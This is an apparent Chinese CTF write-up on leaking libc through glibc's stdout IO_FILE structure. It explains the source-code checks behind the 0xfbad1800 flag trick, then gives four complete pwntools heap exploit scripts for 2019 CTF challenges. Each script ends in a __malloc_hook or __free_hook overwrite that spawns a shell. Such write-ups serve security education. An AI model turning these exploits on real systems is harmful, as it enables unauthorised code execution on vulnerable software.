IO_FILE——leak 任意读

虚幻大学 xuhss 369℃ 0评论

Python微信订餐小程序课程视频

https://edu.csdn.net/course/detail/36074

Python实战量化交易理财系统

https://edu.csdn.net/course/detail/35475
在堆题没有show函数时,我们可以用 IO_FILE 进行leak,本文就记录一下如何实现这一手法。

拿一个输出函数 puts 来说,它在源码里的表现形式为 _IO_puts 。

\_IO\_puts (const char *str)
{
 int result = EOF;
 \_IO\_size\_t len = strlen (str);
 \_IO\_acquire\_lock (\_IO\_stdout);

 if ((\_IO\_vtable\_offset (\_IO\_stdout) != 0
       || \_IO\_fwide (\_IO\_stdout, -1) == -1)
 && \_IO\_sputn (\_IO\_stdout, str, len) == len
 && \_IO\_putc\_unlocked ('\n', \_IO\_stdout) != EOF)
 result = MIN (INT\_MAX, len + 1);

 \_IO\_release\_lock (\_IO\_stdout);
 return result;
}

我们可以看到 _IO_puts 又调用了一个叫 _IO_sputn 的函数。

#define \_IO\_sputn(\_\_fp, \_\_s, \_\_n) \_IO\_XSPUTN (\_\_fp, \_\_s, \_\_n)

它是一个宏,它的作用就是调用 _IO_2_1_stdout_ 里 vtable 所指向的 _IO_XSPUTN,也就是 _IO_new_file_xsputn

\_IO\_size\_t
\_IO\_new\_file\_xsputn (\_IO\_FILE *f, const void *data, \_IO\_size\_t n)
{
 const char *s = (const char *) data;
 \_IO\_size\_t to\_do = n;
 int must\_flush = 0;
 \_IO\_size\_t count = 0;

 ............
 else if (f->\_IO\_write\_end > f->\_IO\_write\_ptr)
 count = f->\_IO\_write\_end - f->\_IO\_write\_ptr; /* Space available. */

  /* Then fill the buffer. */
  if (count > 0)
 {
............
 if (\_IO\_OVERFLOW (f, EOF) == EOF)

当 f->_IO_write_end > f->_IO_write_ptr 时,会调用 memcpy 拷贝数据至缓冲区。之后还会判断目标输出数据是否还有剩余。如果还有剩余就要调用 _IO_OVERFLOW 函数,刷新缓冲区。这个函数在 vtable 中为 _IO_overflow ,也就是 _IO_new_file_overflow 。

int
\_IO\_new\_file\_overflow (\_IO\_FILE *f, int ch)
{
 if (f->\_flags & \_IO\_NO\_WRITES) /* SET ERROR */
 {
 f->\_flags |= \_IO\_ERR\_SEEN;
 \_\_set\_errno (EBADF);
 return EOF;
 }
 /* If currently reading or no buffer allocated. */
  if ((f->\_flags & \_IO\_CURRENTLY\_PUTTING) == 0 || f->\_IO\_write\_base == NULL)
 {
 /* Allocate a buffer if needed. */
      if (f->\_IO\_write\_base == NULL)
 {
 \_IO\_doallocbuf (f);
 \_IO\_setg (f, f->\_IO\_buf\_base, f->\_IO\_buf\_base, f->\_IO\_buf\_base);
 }
 /* Otherwise must be currently reading.
 If \_IO\_read\_ptr (and hence also \_IO\_read\_end) is at the buffer end,
 logically slide the buffer forwards one block (by setting the
 read pointers to all point at the beginning of the block). This
 makes room for subsequent output.
 Otherwise, set the read pointers to \_IO\_read\_end (leaving that
 alone, so it can continue to correspond to the external position). */
      if (\_\_glibc\_unlikely (\_IO\_in\_backup (f)))
 {
 size\_t nbackup = f->\_IO\_read\_end - f->\_IO\_read\_ptr;
 \_IO\_free\_backup\_area (f);
 f->\_IO\_read\_base -= MIN (nbackup,
 f->\_IO\_read\_base - f->\_IO\_buf\_base);
 f->\_IO\_read\_ptr = f->\_IO\_read\_base;
 }

 if (f->\_IO\_read\_ptr == f->\_IO\_buf\_end)
 f->\_IO\_read\_end = f->\_IO\_read\_ptr = f->\_IO\_buf\_base;
 f->\_IO\_write\_ptr = f->\_IO\_read\_ptr;
 f->\_IO\_write\_base = f->\_IO\_write\_ptr;
 f->\_IO\_write\_end = f->\_IO\_buf\_end;
 f->\_IO\_read\_base = f->\_IO\_read\_ptr = f->\_IO\_read\_end;

 f->\_flags |= \_IO\_CURRENTLY\_PUTTING;
 if (f->\_mode <= 0 && f->\_flags & (\_IO\_LINE\_BUF | \_IO\_UNBUFFERED))
 f->\_IO\_write\_end = f->\_IO\_write\_ptr;
 }
 if (ch == EOF)
 return \_IO\_do\_write (f, f->\_IO\_write\_base,
 f->\_IO\_write\_ptr - f->\_IO\_write\_base);
 if (f->\_IO\_write\_ptr == f->\_IO\_buf\_end ) /* Buffer is really full */
............

我们最后想用的就是 _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) 通过它来执行系统调用write函数,来泄露 libc 。想调用它我们得先绕过几个检查:

1、f->_flags & _IO_NO_WRITES == 1 的话就会 EOF ,故我们要使 f->_flags & _IO_NO_WRITES == 0。

#define \_IO\_MAGIC 0xFBAD0000 /* Magic number */
#define \_OLD\_STDIO\_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define \_IO\_MAGIC\_MASK 0xFFFF0000
#define \_IO\_USER\_BUF 1 /* User owns buffer; don't delete it on close. */
#define \_IO\_UNBUFFERED 2
#define \_IO\_NO\_READS 4 /* Reading not allowed */
#define \_IO\_NO\_WRITES 8 /* Writing not allowd */
#define \_IO\_EOF\_SEEN 0x10
#define \_IO\_ERR\_SEEN 0x20
#define \_IO\_DELETE\_DONT\_CLOSE 0x40 /* Don't call close(\_fileno) on cleanup. */
#define \_IO\_LINKED 0x80 /* Set if linked (using \_chain) to streambuf::\_list\_all.*/
#define \_IO\_IN\_BACKUP 0x100
#define \_IO\_LINE\_BUF 0x200
#define \_IO\_TIED\_PUT\_GET 0x400 /* Set if put and get pointer logicly tied. */
#define \_IO\_CURRENTLY\_PUTTING 0x800
#define \_IO\_IS\_APPENDING 0x1000
#define \_IO\_IS\_FILEBUF 0x2000
#define \_IO\_BAD\_SEEN 0x4000
#define \_IO\_USER\_LOCK 0x8000

2、(f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL ,这里我们如果这两个条件满足一个就会去执行一些其他的函数,我们最好将其绕过,f->_IO_write_base要泄露数据肯定是不为 NULL 的,故我们要做的就是使 (f->_flags & _IO_CURRENTLY_PUTTING) == 1 。

故满足上述条件 _flags & 8 == 0 , _flags & 0x800 == 1,且 _flags 魔数的常量为 0xfbad0000。 那么此时 _flags == 0xfbad0800。

跟进 _IO_do_write 后会进入 _IO_new_do_write 。

int
\_IO\_new\_do\_write (\_IO\_FILE *fp, const char *data, \_IO\_size\_t to\_do)
{
 return (to\_do == 0
      || (\_IO\_size\_t) new\_do\_write (fp, data, to\_do) == to\_do) ? 0 : EOF;
}
libc\_hidden\_ver (\_IO\_new\_do\_write, \_IO\_do\_write)

其作用是调用 _IO_new_do_write

static
\_IO\_size\_t
new\_do\_write (\_IO\_FILE *fp, const char *data, \_IO\_size\_t to\_do)
{
 \_IO\_size\_t count;
 if (fp->\_flags & \_IO\_IS\_APPENDING)
 /* On a system without a proper O\_APPEND implementation,
 you would need to sys\_seek(0, SEEK\_END) here, but is
 not needed nor desirable for Unix- or Posix-like systems.
 Instead, just indicate that offset (before and after) is
 unpredictable. */
 fp->\_offset = \_IO\_pos\_BAD;
 else if (fp->\_IO\_read\_end != fp->\_IO\_write\_base)
 {
 \_IO\_off64\_t new\_pos
 = \_IO\_SYSSEEK (fp, fp->\_IO\_write\_base - fp->\_IO\_read\_end, 1);
 if (new\_pos == \_IO\_pos\_BAD)
 return 0;
 fp->\_offset = new\_pos;
 }
  count = \_IO\_SYSWRITE (fp, data, to\_do);
 if (fp->\_cur\_column && count)
 fp->\_cur\_column = \_IO\_adjust\_column (fp->\_cur\_column - 1, data, count) + 1;
 \_IO\_setg (fp, fp->\_IO\_buf\_base, fp->\_IO\_buf\_base, fp->\_IO\_buf\_base);
 fp->\_IO\_write\_base = fp->\_IO\_write\_ptr = fp->\_IO\_buf\_base;
 fp->\_IO\_write\_end = (fp->\_mode <= 0
               && (fp->\_flags & (\_IO\_LINE\_BUF | \_IO\_UNBUFFERED))
 ? fp->\_IO\_buf\_base : fp->\_IO\_buf\_end);
 return count;
}

我们最后的目的就是调用_IO_SYSWRITE 来执行系统调用,但在执行系统调用之前我们会经过两个判断,在看了其他师傅的文章都说 else if的那个很难满足,故我们选择去满足前一个条件,及 fp->_flags & _IO_IS_APPENDING,之前 _flags == 0xfbad0800,现在又要满足 _flags & 0x1000 == 1,故我们 _flags == 0xfbad1800,即可满足所有条件。最后我们把 _IO_write_base 改为目标地址,之后在此次遇到puts等输出函数时,及可泄露出该地址里的值。

此外由于我们是通过覆盖 main_arena 来获得 _stdout 的地址的,故我们一定要爆破半字节。

de1ctf_2019_weapon

from pwn import *
context.arch = 'amd64'
context.log\_level = 'debug'

libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3\_amd64/libc-2.23.so')

def add(index,size,content):
 s.sendlineafter(b'choice >> ',b'1')
 s.sendlineafter(b'wlecome input your size of weapon: ',str(size))
 s.sendlineafter(b'input index:',str(index))
 s.sendafter(b'input your name:',content)

def edit(index,content):
 s.sendlineafter(b'choice >>',b'3')
 s.sendlineafter(b'idx: ',str(index))
 s.sendafter(b'new content:',content)

def delete(index):
 s.sendlineafter(b'choice >>',b'2')
 s.sendlineafter(b'idx :',str(index))
def pwn():
 add(0, 0x10 ,p64(0) + p64(0x21))
 add(1, 0x10 ,b'bbbb')
 add(2, 0x60 ,b'cccc')
 add(3, 0x10 ,b'dddd')

 delete(0)
 delete(1)
 delete(0)

 add(0, 0x10 ,b'\x10')
 add(1, 0x10 ,b'b')
 add(0, 0x10 ,b'c')
 add(4 ,0x10 ,p64(0) + p64(0x71))
 edit(2,b'\x00'*0x48 + p64(0x71))
 delete(1)
 edit(4,p64(0) + p64(0x91))
 delete(1)
 #gdb.attach(s)
    edit(1,b'\xdd\x85')
 edit(4,p64(0) + p64(0x71)) #renew 0x70 fast bin

 add(5 , 0x60 ,b'eeee')

 payload = b'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x48'
 add(6 , 0x60 ,payload)

 libc\_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -131-libc.sym['\_IO\_2\_1\_stdout\_']
 if(libc\_base < 0):
 exit(0)
 \_\_malloc\_hook = libc\_base + libc.sym['\_\_malloc\_hook']
 \_\_free\_hook = libc\_base + libc.sym['\_\_free\_hook']
 system\_addr = libc\_base + libc.sym['system']
 one\_gadget = libc\_base + 0xf0897
 success(hex(libc\_base))
 add(5 , 0x60 ,b'eeee')
 delete(5)
 edit(5,p64(\_\_malloc\_hook-0x23))
 add(5 , 0x60 ,b'/bin/sh\x00')
 add(6, 0x60 ,b'a'*0x13 + p64(one\_gadget))
 #add(8,0x10,b'gggg')
    #gdb.attach(s)
 s.interactive()

while True:
 try:
 s = process('./de1ctf\_2019\_weapon')
 pwn()
 except:
 s.close()
'''
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
 rax == NULL

0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
 [rsp+0x30] == NULL

0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
 [rsp+0x50] == NULL

0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
 [rsp+0x70] == NULL
'''

nsctf_online_2019_pwn1

from pwn import *
context.arch = 'amd64'
context.log\_level = 'debug'

libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3\_amd64/libc-2.23.so')

def add(size,content):
 s.recvuntil(b'exit\n')
 s.sendline(b'1')
 s.recvuntil(b'Input the size:\n')
 s.sendline(str(size))
 s.recvuntil(b'Input the content:')
 s.send(content)
def delete(index):
 s.recvuntil(b'exit\n')
 s.sendline(b'2')
 s.recvuntil(b'Input the index:\n')
 s.sendline(str(index))

def edit(index,size,content):
 s.recvuntil(b'exit\n')
 s.sendline(b'4')
 s.recvuntil(b'Input the index:\n')
 s.sendline(str(index))
 s.recvuntil(b'Input size:\n')
 s.sendline(str(size))
 s.recvuntil(b'Input new content:\n')
 s.send(content)

def pwn():
 add(0x80 ,b'aaaa') #0
    add(0x68 ,b'bbbb') #1
    add(0xf0 ,b'cccc') #2
    add(0x10 ,b'dddd') #3

 delete(0)
 edit(1 , 0x68 ,b'e'*0x60+p64(0x70+0x90))
 delete(2)
 add(0x80 ,b'aaaa') #0
    add(0x68 ,b'bbbb') #2=1
    add(0xf0 ,b'cccc') #4

 delete(0)
 edit(2 , 0x68 ,b'e'*0x60+p64(0x70+0x90))
 delete(4)

 delete(1) #fast bin
    add(0x80 ,b'aaaa') #0
 delete(0)
 add(0x80+0x10+2 ,b'a'*0x80 + p64(0) + p64(0x71) + p16((8<<12) + ((libc.sym['\_IO\_2\_1\_stdout\_'] & 0xfff) - 0x43)))
 add(0x68 ,b'bbbb') #1
    payload = b'\x00'*0x33 + p64(0xfbad1887) + p64(0)*3 + b'\x88'
    #gdb.attach(s)
    add(0x59 ,payload)
 libc\_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['\_IO\_2\_1\_stdin\_']
 if(libc\_base < 0):
 exit(0)
 success(hex(libc\_base))
 \_\_malloc\_hook = libc\_base + libc.sym['\_\_malloc\_hook']
 one\_gadget = libc\_base + 0xf0897

 delete(1)
 edit(2 , 0x8 ,p64(\_\_malloc\_hook-0x23))
 add(0x68 ,b'b') #1
    add(0x68 ,b'c'*0x13 + p64(one\_gadget))
 s.interactive()

while True:
 s = process('./nsctf\_online\_2019\_pwn1')
 try:
 pwn()
 except:
 s.close()

roarctf_2019_realloc_magic

from pwn import *
context.arch = 'amd64'
context.log\_level = 'debug'

#s = process('./roarctf\_2019\_realloc\_magic')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1\_amd64/libc-2.27.so')

def realloc(size,content):
 s.recvuntil(b'>> ')
 s.sendline(b'1')
 s.recvuntil(b'Size?\n')
 s.sendline(str(size))
 s.recvuntil(b'Content?\n')
 s.send(content)

def delete():
 s.recvuntil(b'>> ')
 s.sendline(b'2')

def backdoor():
 s.recvuntil(b'>> ')
 s.sendline(b'3')
def pwn():
 realloc(0x70 ,b'aaaa')
 realloc(0 ,b'')
 realloc(0x100 ,b'bbbb')
 realloc(0,b'')
 realloc(0xa0 ,b'cccc')
 realloc(0,b'')
 #gdb.attach(s)
    realloc(0x100 ,b'bbbb')

 for i in range(7):
 delete()
 realloc(0,b'')
 realloc(0x70 ,b'aaaa')
 realloc(0x180,b'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))
 realloc(0 ,b'')
 realloc(0x100 ,b'bbbb')
 realloc(0,b'')
 #gdb.attach(s)
    realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))
 libc\_base = u64(s.recvuntil(b'\x7f',timeout=0.1)[-6:].ljust(8,b'\x00'))-libc.sym['\_IO\_file\_jumps']
 if(libc\_base < 0):
 exit(0)
 success('libc\_basse=>'+hex(libc\_base))
 \_\_free\_hook = libc\_base + libc.sym['\_\_free\_hook']
 system\_addr = libc\_base + libc.sym['system']
 one\_gadget = libc\_base + 0x4f322

 s.sendline(b'666')

 realloc(0x120,b'a')
 realloc(0,b'')
 realloc(0x130,b'a')
 realloc(0,b'')
 realloc(0x170,b'a')
 realloc(0,b'')

 realloc(0x130,b'a')
 for i in range(7):
 delete()
 realloc(0,b'')
 realloc(0x120,b'a')
 realloc(0x260,b'a'*0x128+p64(0x41)+p64(\_\_free\_hook-8))
 realloc(0,b'')
 realloc(0x130,b'a')
 realloc(0,b'')
 realloc(0x130,b'/bin/sh\x00'+p64(system\_addr))
 delete()
 #gdb.attach(s)
 s.interactive()

while True:
 s = process('./roarctf\_2019\_realloc\_magic')
 #s = remote('node4.buuoj.cn',26297)
    try:
 pwn()
 #s.interactive()
    except:
 s.close()

TWCTF_online_2019_asterisk_alloc

from pwn import *
context.arch = 'amd64'
context.log\_level = 'debug'

libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1\_amd64/libc-2.27.so')

def malloc(size,content):
 s.recvuntil(b'=================================')
 s.sendline(b'1')
 s.recvuntil(b'Size: ')
 s.sendline(str(size))
 s.recvuntil(b'Data: ')
 s.send(content)

def calloc(size,content):
 s.recvuntil(b'=================================')
 s.sendline(b'2')
 s.recvuntil(b'Size: ')
 s.sendline(str(size))
 s.recvuntil(b'Data: ')
 s.send(content)

def realloc(size,content):
 s.recvuntil(b'=================================')
 s.sendline(b'3')
 s.recvuntil(b'Size: ')
 s.sendline(str(size))
 s.recvuntil(b'Data: ')
 s.send(content)

def delete(type):
 s.recvuntil(b'=================================')
 s.sendline(b'4')
 s.recvuntil(b'Which: ')
 s.sendline(type)
def pwn():
 realloc(0x70 ,b'aaaa')
 realloc(0 ,b'')
 realloc(0x100 ,b'bbbb')
 realloc(0 ,b'')
 realloc(0xa0 ,b'bbbb')
 realloc(0 ,b'')

 realloc(0x100 ,b'bbbb')

 for i in range(7):
 delete(b'r')

 realloc(0 ,b'')
 realloc(0x70 ,b'aaaa')

 payload = b'a'*0x78 + p64(0x41) +b'\x60\x67'
 realloc(0x180 ,payload)
 realloc(0 ,b'')
 realloc(0x100 ,b'bbbb')
 realloc(0 ,b'')

 payload = p64(0xfbad1887) + p64(0)*3 + b'\x58'
 malloc(0x100 ,payload)

 libc\_base = u64(s.recvuntil(b'\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0
    if(libc\_base == -0x3e82a0):
 exit(0)
 success('libc\_basse=>'+hex(libc\_base))
 \_\_free\_hook = libc\_base + libc.sym['\_\_free\_hook']
 system\_addr = libc\_base + libc.sym['system']
 one\_gadget = libc\_base + 0x4f322
 realloc(0x120 ,b'aaaa')
 realloc(0 ,b'')
 realloc(0x130 ,b'bbbb')
 realloc(0 ,b'')
 realloc(0x170 ,b'bbbb')
 realloc(0 ,b'')

 realloc(0x130 ,b'bbbb')
 for i in range(7):
 delete(b'r')
 realloc(0 ,b'')

 realloc(0x120 ,b'aaaa')

 payload = b'a'*0x128 + p64(0x41) + p64(\_\_free\_hook-0x8)
 realloc(0x260 ,payload)
 realloc(0 ,b'')
 realloc(0x130 ,b'bbbb')
 realloc(0 ,b'')

 payload = b'/bin/sh\x00' + p64(system\_addr)
 realloc(0x130 ,payload)
 delete(b'r')

 #gdb.attach(s)
 s.interactive()
while True:
 #s = process('./TWCTF\_online\_2019\_asterisk\_alloc')
    s = remote('node4.buuoj.cn',29559)
 try:
 pwn()
 #s.interactive()
    except:
 s.close()

参考文章

https://hollk.blog.csdn.net/article/details/113845320?spm=1001.2014.3001.5502

__EOF__

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-md02KQmG-1645587567076)(https://blog.csdn.net/pwnfeifei)]pwnfeifei - 本文链接: https://blog.csdn.net/pwnfeifei/p/15793432.html

  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。

转载请注明:xuhss » IO_FILE——leak 任意读

喜欢 (0)

您必须 登录 才能发表评论!